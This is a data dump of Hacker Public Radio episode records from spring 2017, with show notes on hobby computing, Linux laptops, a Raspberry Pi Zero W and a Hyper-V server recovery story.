                                                            2242Tue2017-03-07Interview with Colin J. Mills, organizer of KW LinuxfestBobJonkman
                                                            2243Wed2017-03-08My Quick Tips E01operat0r
                                                            2244Thu2017-03-09building lineageOSbrian
                                                            2245Fri2017-03-10Managing tags on HPR episodes - 1Dave Morriss
                                                            2246Mon2017-03-13My Custom RSS Comic and Security Feedoperat0r
                                                            2247Tue2017-03-14HPR New Year show 1Various Hosts
                                                            2248Wed2017-03-15HPR New Year show episode 2Various Hosts
                                                            2249Thu2017-03-16HPR New Year show episode 3Various Hosts
                                                            2250Fri2017-03-17HPR New Year show episode 4Various Hosts
                                                            2251Mon2017-03-20HPR New Year show episode 5Various Hosts
                                                            2252Tue2017-03-21HPR New Year show episode 6Various Hosts
                                                            2253Wed2017-03-22How to make and use a stencil@einebiene
                                                            2254Thu2017-03-23Introduction to Model RocketrySteve Saner
                                                            2255Fri2017-03-24The Good Ship HPRDave Morriss
                                                            2256Mon2017-03-27Modular Game ScalingEric Duhamel
                                                            2257Tue2017-03-28Watt OSTony Hughes AKA TonyH1212
                                                            2258Wed2017-03-29Killer KeilbasaBill "NFMZ1" Miller
                                                            2259Thu2017-03-30Minidiscs: A Response to HPR 2212Jon Kulp
                                                            2260Fri2017-03-31Managing tags on HPR episodes - 2Dave Morriss
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-March/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 37 comments in total.

                                                            \n

                                                            There are 6 comments on\n6 previous shows:

                                                            \n
                                                            • hpr2178\n(2016-12-07) \"Dice Mixer\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nFiftyOneFifty on 2017-03-04:\"[no title]\"

                                                              \n
                                                            • hpr2191\n(2016-12-26) \"Building a Soundboard Android App with App Inventor\"\nby droops.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nWindigo on 2017-03-28:\n\"Fantastic\"

                                                              \n
                                                            • hpr2206\n(2017-01-16) \"Podcasts I Listen To\"\nby Reg A.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nBookewyrmm on 2017-03-06:\n\"thanks and sorry\"

                                                              \n
                                                            • hpr2219\n(2017-02-02) \"The Musings of a Novice Cable TV Cord Cutter\"\nby Reg A.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nRegina Trolman on 2017-03-27:\n\"Loved it!\"

                                                              \n
                                                            • hpr2221\n(2017-02-06) \"HPR Community News for January 2017\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nKrayon on 2017-03-01:\n\"OGGBot\"

                                                              \n
                                                            • hpr2236\n(2017-02-27) \"Hoarding Raspberry Pis\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nAlpha32 on 2017-03-29:\n\"Great!\"

                                                              \n
                                                            \n

                                                            There are 31 comments on 11 of this month's shows:

                                                            \n
                                                            • hpr2239\n(2017-03-02) \"making jerky\"\nby Jezra.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\noperat0r on 2017-02-07:\n\"YuMMM hacking meat\"
                                                              • Comment 2:\njezra on 2017-03-02:\"[no title]\"
                                                              • Comment 3:\n@einebiene on 2017-03-22:\n\"Mhhhhh\"

                                                              \n
                                                            • hpr2240\n(2017-03-03) \"Amateur Radio Round Table\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndavidWHITMAN on 2017-03-08:\n\"Ham Radio Roundtable\"

                                                              \n
                                                            • hpr2245\n(2017-03-10) \"Managing tags on HPR episodes - 1\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Ray on 2017-03-09:\n\"Erm...\"
                                                              • Comment 2:\nDave Morriss on 2017-03-10:\n\"Oops!\"
                                                              • Comment 3:\nMike Ray on 2017-03-10:\n\"Listen to the entities\"

                                                              \n
                                                            • hpr2246\n(2017-03-13) \"My Custom RSS Comic and Security Feed\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2017-03-16:\n\"Good idea\"

                                                              \n
                                                            • hpr2248\n(2017-03-15) \"HPR New Year show episode 2\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2017-03-15:\"[no title]\"

                                                              \n
                                                            • hpr2249\n(2017-03-16) \"HPR New Year show episode 3\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2017-03-15:\"[no title]\"
                                                              • Comment 2:\nKen fallon on 2017-03-27:\n\"Fact check Scotland brexit not 100%\"

                                                              \n
                                                            • hpr2252\n(2017-03-21) \"HPR New Year show episode 6\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclinton roy on 2017-03-22:\"[no title]\"

                                                              \n
                                                            • hpr2253\n(2017-03-22) \"How to make and use a stencil\"\nby @einebiene.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2017-03-21:\n\"Thank you\"
                                                              • Comment 2:\nBob Jonkman on 2017-03-22:\n\"Consultant\"
                                                              • Comment 3:\neinebiene on 2017-03-22:\n\"German Download Page\"
                                                              • Comment 4:\nbrian on 2017-03-22:\n\"food not bombs\"
                                                              • Comment 5:\nph on 2017-03-22:\"[no title]\"
                                                              • Comment 6:\nMr. Young on 2017-03-22:\n\"Welcome new host!\"
                                                              • Comment 7:\nBob Jonkman on 2017-03-23:\n\"Consultant\"
                                                              • Comment 8:\ndroops on 2017-03-30:\n\"Very cool\"

                                                              \n
                                                            • hpr2255\n(2017-03-24) \"The Good Ship HPR\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTony Hughes on 2017-03-01:\n\"hpr 2255\"
                                                              • Comment 2:\nDave Morriss on 2017-03-06:\n\"Nice idea\"
                                                              • Comment 3:\nknightwise on 2017-03-25:\n\"How about a dropbox folder.\"
                                                              • Comment 4:\nM1rr0r5h4d35 on 2017-03-25:\n\"Very interesting show.\"
                                                              • Comment 5:\ndroops on 2017-03-29:\n\"New Hosts\"
                                                              • Comment 6:\nDave Morriss on 2017-03-30:\n\"Thanks for the comments\"

                                                              \n
                                                            • hpr2258\n(2017-03-29) \"Killer Keilbasa\"\nby Bill \"NFMZ1\" Miller.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2017-03-29:\"[no title]\"
                                                              • Comment 2:\nXoke on 2017-03-30:\n\"Little Smokies\"

                                                              \n
                                                            • hpr2259\n(2017-03-30) \"Minidiscs: A Response to HPR 2212\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndroops on 2017-03-30:\n\"Minidisc\"
                                                              • Comment 2:\nDave Morriss on 2017-03-30:\n\"Interesting\"
                                                              • Comment 3:\nJonathan Kulp on 2017-03-31:\n\"Minidisk Walkman\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2262,"date":"2017-04-04","title":"Abstracting Nurse Jesus","duration":324,"summary":"how I abstracted random number generation for more syntactic sugar","notes":"

                                                            NOTE: the audio recording appears to have periodic jitter. As I recorded at 44.1 Khz this time, I wonder if my S2 just handles recording at a lower quality better, and if so I'll prefer lower quality over jitter in the recording.

                                                            \n

                                                            In this episode I explain why and how I abstracted random number and choice generation into self-sustainable methods for objects.

                                                            \n
                                                              \n
                                                            • A superclass was needed so that all the classes of object in the game engine would have access to these random generation methods.
                                                            • \n
                                                            • I preferred to use methods in this case so objects would be self-sufficient and wouldn't depend on extra modules imported at the top of my code.
                                                            • \n
                                                            • The syntactic sugar achieved by using customized methods instead of i.e. random.randint(0, 99) makes the code easier to write and understand at a glance.
                                                            • \n
                                                            • Nurse Jesus is a pun on the acronym RNG for Random Number Generator
                                                            • \n
                                                            • Let me know if you get the reference at 2:00 ;-)
                                                            • \n
                                                            \n

                                                            I recorded this episode in parts using a program called Urecord on my pocket computer (mobile phone).

                                                            \n

                                                            I program using Pygame, post on a GNU Social account, and maintain a personal website at NoxBanners.NET. I study programming techniques at Refactoring.com, style at Python.org, and sometimes patterns at Portland Pattern Repository

                                                            \n","hostid":317,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"video games, programming, object-oriented, game development, abstraction","version":0,"downloads":0,"valid":1}, {"id":2263,"date":"2017-04-05","title":"Freak Does Geek","duration":1449,"summary":"A drift through a variety of topic with the letter A as the \"Anchor\"","notes":"","hostid":352,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio,tape recorder,mp3","version":0,"downloads":0,"valid":1}, {"id":2264,"date":"2017-04-06","title":"At The Library","duration":505,"summary":"What my local library offers","notes":"

                                                            Check out your local library.

                                                            \n

                                                            If you are a cord cutter or looking for cheap alternatives to some of the following:

                                                            \n
                                                              \n
                                                            • Ebooks
                                                            • \n
                                                            • Emagazines
                                                            • \n
                                                            • Audibooks
                                                            • \n
                                                            • DVD's
                                                            • \n
                                                            • Blu rays
                                                            • \n
                                                            • CD's
                                                            • \n
                                                            • And much much more!
                                                            • \n
                                                            ","hostid":346,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"EBooks, audio books, Emagazines, Chromebooks, Movies, TV Shows, Computers","version":0,"downloads":0,"valid":1}, {"id":2265,"date":"2017-04-07","title":"WattOS on Lenovo X61s","duration":488,"summary":"I talk about installing WattOS on the X61s","notes":"

                                                            This is a follow on show from the one about WattOS on the Acer AspireOne I did recently.

                                                            \n

                                                            I talk about installing and running of the OS on this 10+ year old laptop and how they are still a viable option as a cheap laptop.

                                                            \n

                                                            Note all the recording, and uploading to HPR of this episode was done on the X61s

                                                            \n

                                                            https://planetwatt.com/new/

                                                            \n

                                                            https://www.cnet.com/uk/products/lenovo-thinkpad-x61s/review/

                                                            \n

                                                            https://support.lenovo.com/gb/en/documents/pd012148

                                                            \n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"WattOS,Lenovo X61s","version":0,"downloads":0,"valid":1}, {"id":2266,"date":"2017-04-10","title":"Gamebooks: Lone Wolf","duration":2571,"summary":"Klaatu talks about the Lone Wolf solo RPG series","notes":"

                                                            \nKlaatu talks about the Lone Wolf series of solo RPG gamebooks from the 1980s.

                                                            \n\n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,book,rpg","version":0,"downloads":0,"valid":1}, {"id":2267,"date":"2017-04-11","title":"Our Digital Art","duration":1793,"summary":"Sigflup and Siss talk about digital art and what it means to them","notes":"Sigflup's art!!!
                                                            \n
                                                            \nSiss's art!!!!
                                                            \n
                                                            \n
                                                            \nSigflup's Book!!!
                                                            \n
                                                            \n
                                                            \nSiss's books!!\n\n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"digital art ","version":0,"downloads":0,"valid":1}, {"id":2268,"date":"2017-04-12","title":"Fish On!","duration":1138,"summary":"Websites and apps used for planning fishing trips","notes":"

                                                            Whether hitting your local lake or planning a day trip out, it is always good to consult tech that can help out making the trip as successful as possible. Here are the items mentioned in the podcast:

                                                            \n\n\n\n","hostid":346,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fish,fishing","version":0,"downloads":0,"valid":1}, {"id":2269,"date":"2017-04-13","title":"Chocolate Milk","duration":2529,"summary":"A sample show of the nixers podcast. Adam's story, milky chocolate, unicomp, and plan9","notes":"

                                                            More on https://nixers.net/showthread.php?tid=1991

                                                            \n\n\n\n","hostid":353,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Unix, Technology, Plan9, Keyboard","version":0,"downloads":0,"valid":1}, {"id":2270,"date":"2017-04-14","title":"Managing tags on HPR episodes - 3","duration":1893,"summary":"Looking for the best way to store and manage tags in the HPR database, part 3","notes":"

                                                            Managing tags on HPR episodes - 3

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the third (and last) show looking at the subject of Managing Tags relating to HPR shows.

                                                            \n

                                                            In the first show we looked at why we need tags, and examined the advantages and disadvantages of the present system of storage. We considered the drawbacks of this design when searching the tags.

                                                            \n

                                                            Then in the second show we looked at a simple way of making a tags table and how to query it in order to fulfil the requirements defined in the first show.

                                                            \n

                                                            In this show we’ll look at a more rigorous, efficient, “normalised” solution.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have written out a set of longer notes for this episode and these are available by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"HPR,database,schema,tags,many-to-many","version":0,"downloads":0,"valid":1}, {"id":2271,"date":"2017-04-17","title":"Raspberry Pi Zero W","duration":378,"summary":"an introduction to the new Pi Zero W from the Raspberry Pi Foundation","notes":"

                                                            \nIn this episode I talk about the new Raspberry Pi Zero W single board computer released on 28th February 2017 to coincide with the 5th Birthday of the Raspberry Pi Foundation.\n

                                                            \n

                                                            \nThis tiny 65x30mm single board PC has the following specs\n

                                                            \n\n
                                                              \n
                                                            • 1GHz, single-core CPU \n
                                                            • \n
                                                            • 512MB RAM \n
                                                            • \n
                                                            • Mini HDMI and USB On-The-Go ports \n
                                                            • \n
                                                            • Micro USB power\n
                                                            • \n
                                                            • HAT-compatible 40-pin header \n
                                                            • \n
                                                            • Composite video and reset headers \n
                                                            • \n
                                                            • CSI camera connector \n
                                                            • \n
                                                            • 802.11 b/g/n wireless LAN \n
                                                            • \n
                                                            • Bluetooth 4.1 \n
                                                            • \n
                                                            • Bluetooth Low Energy (BLE) \n
                                                            • \n
                                                            \n\n

                                                            \nHere are a couple of links to the foundation and a fuller review\n

                                                            \n

                                                            \nhttps://www.raspberrypi.org/\n

                                                            \n

                                                            \nhttps://www.engadget.com/2017/02/28/raspberry-pi-zero-w-is-a-10-computer-with-wifi-and-bluetooth/\n

                                                            \n\t","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Raspberry Pi,Zero W,single board computer,sbc","version":0,"downloads":0,"valid":1}, {"id":2272,"date":"2017-04-18","title":"In Which Our Hero Takes 4 Hours to Install Hyper-V Server 2012","duration":762,"summary":"A tale from the trenches. When good servers go bad.","notes":"

                                                            So we had this server.

                                                            \n

                                                            As all servers are wont to do, this one had run successfully for a number of years. Everything worked perfectly until it didn’t.

                                                            \n

                                                            It ran, to my knowledge, only Hyper-V Server on its system drive, and had a second set of drives for hosting the VM that ran Microsoft Deployment Toolkit to service our depot. Our depot was on its own physical network, sharing with production only an ISP demarc.

                                                            \n

                                                            I had long since abandoned the depot and its trappings, thinking it someone else’s domain, thinking my time better spent on client systems, thinking that I didn’t need to know what happened in the oft-ignored part of our operation. I assumed that it was set up properly since it had been so stable for so many years. But you know the old saying:

                                                            \n

                                                            When you make assumptions you make an ass out of you and muptions.

                                                            \n

                                                            The Problem.

                                                            \n

                                                            Our monitoring systems reports the two depot servers offline, both the hypervisor and its virtual. I sent our depot technician to take a look. They come back online and he tells me that it needed to be rebooted. Having divested myself of giving a damn about the depot, I barely found the energy to shrug.

                                                            \n

                                                            Then it happened again. I again sent the technician and promptly got wrapped up in some client-facing issue. I forgot about the servers until:

                                                            \n

                                                            They went offline a third time. I didn’t have to tell my depot tech; he was watching the same feed as I. He rummaged a bit and came back with a story of defeat and virtual disks not being found.

                                                            \n

                                                            “The server won’t boot because the Virtual disk can’t be found” he said.

                                                            \n

                                                            “Ok, so you mean the virtual won’t come up, but what about the physical?” I replied.

                                                            \n

                                                            “No, that’s what I mean. It won’t get past BIOS. It’s complaining of a virtual drive not being found.”

                                                            \n

                                                            “Sounds bogus, let’s look.”

                                                            \n

                                                            He was not wrong; that is what the screen said. And what it meant was RAID failure. I slid off the front of the server case and sure enough, one of the drives had popped.

                                                            \n

                                                            Oh, did I mention? No backups.

                                                            \n

                                                            The Rabbit Hole.

                                                            \n

                                                            Drives pop sometimes, ain’t no thing. We build systems to be resilient. You slap a fresh one in there and it starts re-silvering and you get on with your day. Not this time, gentle reader.

                                                            \n

                                                            While digging through the RAID controller, I found, to my amazement, horror, and utter confusion, that whatever chucklefuck set up this server put the two system drives in a RAID 0. As I stared at the screen and at the blinking amber drive light, all that could pass my lips was a quiet “Oh my god, why?”

                                                            \n

                                                            In this scenario, I didn’t see any way forward, but through. So far, it had been demonstrated that the bad drive would behave for about 2 hours, then throw a fit. I shut down the server and took some time to think about how to proceed. In that time, I re-discovered some of the things the virtual machine was serving.

                                                            \n

                                                            Things like: MDT, DNS, DHCP, PXE boot, but most importantly: the lone DC for depot.local (MDT needs a domain). Oh, and it was the only machine that was set up to manage the hypervisor through the Hyper-V console and Server Manager.

                                                            \n

                                                            GREAT.

                                                            \n

                                                            Compounding the issue, the virtual was not stored on the separate set of RAID 1 disks in this server as I had assumed. It was stored on the system drive. Oh joy, oh rapture.

                                                            \n

                                                            My new mission: Rescue that virtual.

                                                            \n

                                                            The Struggle.

                                                            \n

                                                            First things first. I assume I’ll only have one chance to rescue this data before this drive bites the dust for good. I plug in the VGA and keyboard. Take a deep breath.

                                                            \n

                                                            I turn on the server.

                                                            \n

                                                            It fails to boot into the operating system. “Come on, you little shit.” Take out the drive and put it back in. Success. We boot into the OS and I’m presented with a log on screen. Password.

                                                            \n

                                                            There are no logon servers available to process your request.

                                                            \n

                                                            Shit, that’s right. The virtual is the only DC. K, local admin it is. Login successful. Presented with a command like and SConfig. Grab the terminal and start poking about. cd to C: and dir. Find a folder named VMs. Bingo. Started copying the VHDX to the RAID 1 set.

                                                            \n
                                                            cp “C:\\vms\\Hyper-V Replica\\Virtual hard disks\\{guid}\\{guid}.vhdx” E:\\
                                                            \n

                                                            The server moves the data at a respectful 700Mbps, considering its current degraded state. It eventually finished the transfer after about 10 agonizing minutes. Shut down the physical to preserve the bad drive.

                                                            \n

                                                            We are out of the woods, but it’s still a long way to Gramma’s house.

                                                            \n

                                                            The King is Dead; Long Live the King.

                                                            \n

                                                            I have a plan. Now that I have the VHDX, and since we clearly need a replica server, I’ll push my luck. I’ll build a new server and see if I can replicate the virtual. I happen to have a disused server sitting right next to the bad server. It’s admittedly dissimilar hardware, but shouldn’t be a problem. I don’t know why it’s lying dormant or what it was used for in the days of yore, but it’s mine now. Eminent domain.

                                                            \n

                                                            And here is the story of how it took me 4 hours to install an OS that usually takes 3 minutes.

                                                            \n

                                                            We need to load up Hyper-V 2012 on this “new” server first.

                                                            \n

                                                            As is standard practice, I disconnect all but one drive from the mobo. I do this because sometimes the Windows installer decides that the “SYSTEM” partition belongs on a different drive from the C partition and it makes me cry. I used rufus (what a fantastic little utility, really. I need to donate to that guy) to make a HV 2012 boot disk from ISO.

                                                            \n

                                                            You know how it takes a few times to get a USB to go into it’s slot correctly? Not me. I whipped that bad mamma-jamma like a shuriken from 30 feet away and it slid perfectly into the front of the server. Fireworks, 100 doves, the works.

                                                            \n

                                                            Boot it, get to the installer part where it asks you upon which drive you wish to install it. Boom, error:

                                                            \n

                                                            Setup was unable to create a new system partition or locate an existing system partition.

                                                            \n

                                                            Weird. Sounds like a problem with the disk, right? Open up diskpart, clean it, format, create partition, assign it a letter. No go. Try a different drive? Nope. Disconnect the cd drive maybe. No dice. Connect all the drives and try each one. Nada. Boot up into Ubuntu and use GParted to re-do what I did in diskpart. Zilch. Re-create the install media. Goose egg. Try the back USB ports. I’m running out of ways to say no, but in essence, nothing was making this error go away.

                                                            \n

                                                            Screw it. Maybe this is why this server was sitting unused? Maybe it’s a bad mobo or something and frankly, I don’t care. Part out the drives and junk it.

                                                            \n

                                                            We happen to have a literal pile of servers to pick from, so I grab the one on top because it’s the most similar to the bad server and because you must be out your damned mind if you think I’m digging through that mound of junk. This’ll do nicely.

                                                            \n

                                                            Remember how I said I didn’t want to have anything to do with the depot? I still don’t. I want this new server to be unkillable, may he reign for a thousand generations. So, I may have gone a little overboard with the RAID setup for one simple hypervisor, which is going to be backed up and replicated.

                                                            \n

                                                            That there is a 1TB RAID 1 with a hotspare and a 500ish GB RAID 5 with a hotspare. I never want to hear from this server again.

                                                            \n

                                                            OK, so we start the Windows server install and:

                                                            \n

                                                            THE SAME ERROR.

                                                            \n

                                                            No way. I have done this dozens of times, this is insane. I have used this exact same USB drive to do it! I can use it on an ancient spare laptop and go through the install perfectly fine. I have dug through pages of posts on forums and tried every last solution suggested except one. I find, on page 3 (!) of Google, someone say that it only failed for them when they used a USB 3.0 drive to install. I look at the end of my USB install media, see blue, then see red. NO. WAY.

                                                            \n

                                                            So I hunt around for a USB 2.0 drive. Takes me a few minutes, but we had one holding up the leg of a table. Rufus took a bit longer this time. When the drive was cooked, I gingerly placed it in the receptacle and crossed my fingers. If this didn’t work, then I was all out of ideas. No clue.

                                                            \n

                                                            It worked. I could not believe it. USB 3.0. Why, Windows, WHY?

                                                            \n

                                                            Playing with Fire.

                                                            \n

                                                            Creating a new domain is a pain in the ass. I considered a number of possibilities, but now that I had the re-install of this server figured out, I figured let’s go nuts and join the new hypervisor to the old domain depot.local. If you’ll remember from 6 years ago when I started telling you this story, the sole virtual server performed DCHP, DNS, and DC functions.

                                                            \n

                                                            I powered up the bad physical server. It complained, but complied. Started the virtual, no issue. Waited a few minutes, then joined the shiny new server to the domain depot.local. From there, with the DC up and running it was a simple matter of using the Hyper-V console to set up replication. After about an hour of pacing back and forth like I was awaiting the birth of my first child, the virtual made it and was failed over successfully.

                                                            \n

                                                            There were a few more issues to resolve, like the DNS server having the wrong IPs for just about everything even though they have been using statics for years, DHCP not responding on port 4011 for MDT for PXE Boot, DHCP being handed out by the virtual AND by the router on the same subnet (?!?!), and the DNS server refusing to connect over the HyperV vSwitch, but now at least I don’t have a knot in my stomach. I don’t know how this environment ever worked like this. What a mess to clean up.

                                                            \n

                                                            I ripped the bad half of the RAID 0 out of the server like a man possessed. I nailed it to the wall behind my desk. There is a sign under it that reads: “RAID 0 is not RAID. If you use RAID 0 on anything, I will throw this hard drive at your head. I have good aim. It will probably hit your mouth.”

                                                            \n","hostid":319,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Windows, Servers, IT, MSP, Story","version":0,"downloads":0,"valid":1}, {"id":2273,"date":"2017-04-19","title":"Fountain Pens","duration":1391,"summary":"In this episode, I cover some of the basics of Fountain Pens","notes":"

                                                            For a good basic rundown of the parts of a fountain pen, The Goulet Pen Company has a fairly decent page at: https://www.gouletpens.com/anatomy-of-a-fountain-pen

                                                            \n

                                                            Fountain pens on Youtube:

                                                            \n\n","hostid":325,"series":112,"explicit":1,"license":"CC-BY-SA","tags":"fountain pen,nib,feed,barrel,section,cartridge,converter,piston fill","version":0,"downloads":0,"valid":1}, {"id":2274,"date":"2017-04-20","title":"First Microsoft Surface Pro Ubuntu 16.04 Dual boot","duration":556,"summary":"A short talk about converting a MS Surface pro from windows to unbuntu","notes":"

                                                            Hi. I purchased the first MS Pro on ebay after hearing of a like project on the Linux Action Show. I do a lot of traveling and I am always feeling bad about not having a something with open source on it.

                                                            \n

                                                            So one of the best for travel is the MS surface pro.

                                                            \n

                                                            In short it works great with Ubuntu.

                                                            ","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Microsoft Surface Pro,Ubuntu","version":0,"downloads":0,"valid":1}, {"id":2275,"date":"2017-04-21","title":"Penguicon 2017","duration":1126,"summary":"A look at the lineup for the 2017 event.","notes":"

                                                            Penguicon 2017 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presents over 500 hours of programming over the entire weekend. Of this, around 100 hours are open source, tech-related. In this episode I give you a look at the lineup you can expect to see.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon 2017","version":0,"downloads":0,"valid":1}, {"id":2276,"date":"2017-04-24","title":"Tunnels and Trolls and Dungeon Delvers","duration":1877,"summary":"Klaatu talks about Tunnels & Trolls solo RPG series, and Dungeon Delvers","notes":"

                                                            Klaatu reviews the solo RPG experience provided by Tunnels & Trolls community.\n

                                                            \n

                                                            Additionally, he mentions a nice Creative Commons rulebook (if you can call 2 pages a book) called Dungeon Delvers.\n

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,book,rpg","version":0,"downloads":0,"valid":1}, {"id":2277,"date":"2017-04-25","title":"Outernet and other projects","duration":884,"summary":"In this episode, I take a look at some different attempts to spread free internet access.","notes":"\n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"free internet,Outernet,Project Loon","version":0,"downloads":0,"valid":1}, {"id":2278,"date":"2017-04-26","title":"Some supplementary Bash tips","duration":2375,"summary":"Finishing off the subject of expansion in Bash (part 1)","notes":"

                                                            Some supplementary Bash tips

                                                            \n

                                                            Pathname expansion; part 1 of 2

                                                            \n

                                                            Expansion

                                                            \n

                                                            As we saw in the last episode 2045 (and others in this sub-series) there are eight types of expansion applied to the command line in the following order:

                                                            \n
                                                              \n
                                                            • Brace expansion (we looked at this subject in episode 1884)
                                                            • \n
                                                            • Tilde expansion (seen in episode 1903)
                                                            • \n
                                                            • Parameter and variable expansion (this was covered in episode 1648)
                                                            • \n
                                                            • Command substitution (seen in episode 1903)
                                                            • \n
                                                            • Arithmetic expansion (seen in episode 1951)
                                                            • \n
                                                            • Process substitution (seen in episode 2045)
                                                            • \n
                                                            • Word splitting (seen in episode 2045)
                                                            • \n
                                                            • Pathname expansion (this episode and the next)
                                                            • \n
                                                            \n

                                                            This is the last topic in the (sub-) series about expansion in Bash. However, when writing the notes for this episode it became apparent that there was too much to fit into a single HPR episode. Consequently I have made it into two.

                                                            \n

                                                            In this episode we will look at simple pathname expansion and some of the ways in which its behaviour can be controlled. In the next episode we’ll finish by looking at extended pattern matching. Both are included in the “Manual Page Extracts” section at the end of the long notes.

                                                            \n

                                                            Long Show Notes

                                                            \n

                                                            I have written out a moderately long set of notes about this subject and these are available here.

                                                            \n

                                                            Links

                                                            \n\n\n\n\n\n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,expansion,pathname expansion,shopt","version":0,"downloads":0,"valid":1}, {"id":2279,"date":"2017-04-27","title":"The first Intel CompuStick sound fix with LUbuntu","duration":296,"summary":"A quick podcast about sound with LUbuntu","notes":"

                                                            https://allaboutmynonexistedworld.wordpress.com/2014/06/03/lubuntu-hdmi-sound-output/

                                                            \n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Intel CompuStick,Lubuntu,pulse audio","version":0,"downloads":0,"valid":1}, {"id":2280,"date":"2017-04-28","title":"Lenovo X61s Part 2","duration":526,"summary":"A description of living with the X61s for almost 2 weeks","notes":"

                                                            HPR episode on Lenovo X61s part 2

                                                            \n
                                                              \n
                                                            • Cost £36 including auction fees
                                                            • \n
                                                            • OS Free (any Linux will work well)
                                                            • \n
                                                            • Upgrade to 120Gig SSD £40 of ebay
                                                            • \n
                                                            • Total outlay £76
                                                            • \n
                                                            \n

                                                            If you have to buy one then get an OS free one and don't pay more than £80-£100 depending if it has an SSD or not

                                                            \n

                                                            Hello HPR, a few episodes ago I talked of using the Lenovo X61s with Watt OS and said I would report back after a possible upgrade to the laptop with and SSD replacement for the hard drive.

                                                            \n

                                                            Well I duly ordered and received a Drevo 120 Gig SSD from ebay. These are about £40 each so make a cheap upgrade to an older laptops spinning disc see review here:

                                                            \n

                                                            https://www.enostech.com/drevo-x1-240gb-ssd-review/

                                                            \n

                                                            after installing the PC with WattOS while it did everything you would need of an OS and was absolutely fine on the X61s I was a bit disillusioned with the amount of configuration needed to get all the software I needed working, definitely not New user friendly.

                                                            \n

                                                            Looking at other lite Linux distributions I came upon Linux Lite

                                                            \n

                                                            https://www.linuxliteos.com/

                                                            \n

                                                            and decided that this might be a better choice as it says it is aimed at new users, and being based on Ubuntu was a familiar beast. ISO was downloaded and duly installed on the X61s and as soon as all the updates were completed I looked at the installed software and it was more comprehensive but not at the expense of still being lightweight.

                                                            \n

                                                            At first Boot it takes about 300mb of ram and even with the word processor and Firefox in use Ram usage was only about 700mb.

                                                            \n

                                                            Audacity after install worked out of the box, and I've already recorded and uploaded another show for HPR using the X61s and all went flawlessly. With the new SSD I am getting close to 5 hours of use from the 8 cell 63W battery installed on the PC and while I recognize the X61s being over 10 years old is not going to meet the needs of a power user, its fully capable of being an everyday laptop for basic office tasks, some light audio editing, and even photo editing in GIMP. I was able to edit and process a 10mb .jpg image without any issues and exporting the final image took seconds.

                                                            \n

                                                            I was fairly happy with the X61s performance with the 80Gig spinner it came with, but the addition of an SSD has both improved performance and battery life to the extent that I would happily take it on the road as my only PC. Actually for the porpoise of writing this review I've lived with it as my main PC for almost 2 weeks and have not really missed its big brother the X230i i3 laptop I also have. In fact I was going to record a show using that and found that as it has a composite Audio jack, and my head set requires separate mic and headphone sockets I wasn't able to, so one up to the X61s there.

                                                            \n

                                                            Conclusion, if you have a couple of kids and you're looking for a laptop for them to do homework, watch Utube, and surf the web (parental controls enabled) then I would look no further. And if they get broken by said kids you've not lost a bundle of dosh.

                                                            \n","hostid":338,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Lenovo X61s, Linux Lite","version":0,"downloads":0,"valid":1}, {"id":2281,"date":"2017-05-01","title":"HPR Community News for April 2017","duration":5549,"summary":"HPR Volunteers talk about shows released and comments posted in April 2017","notes":"\n

                                                            New hosts

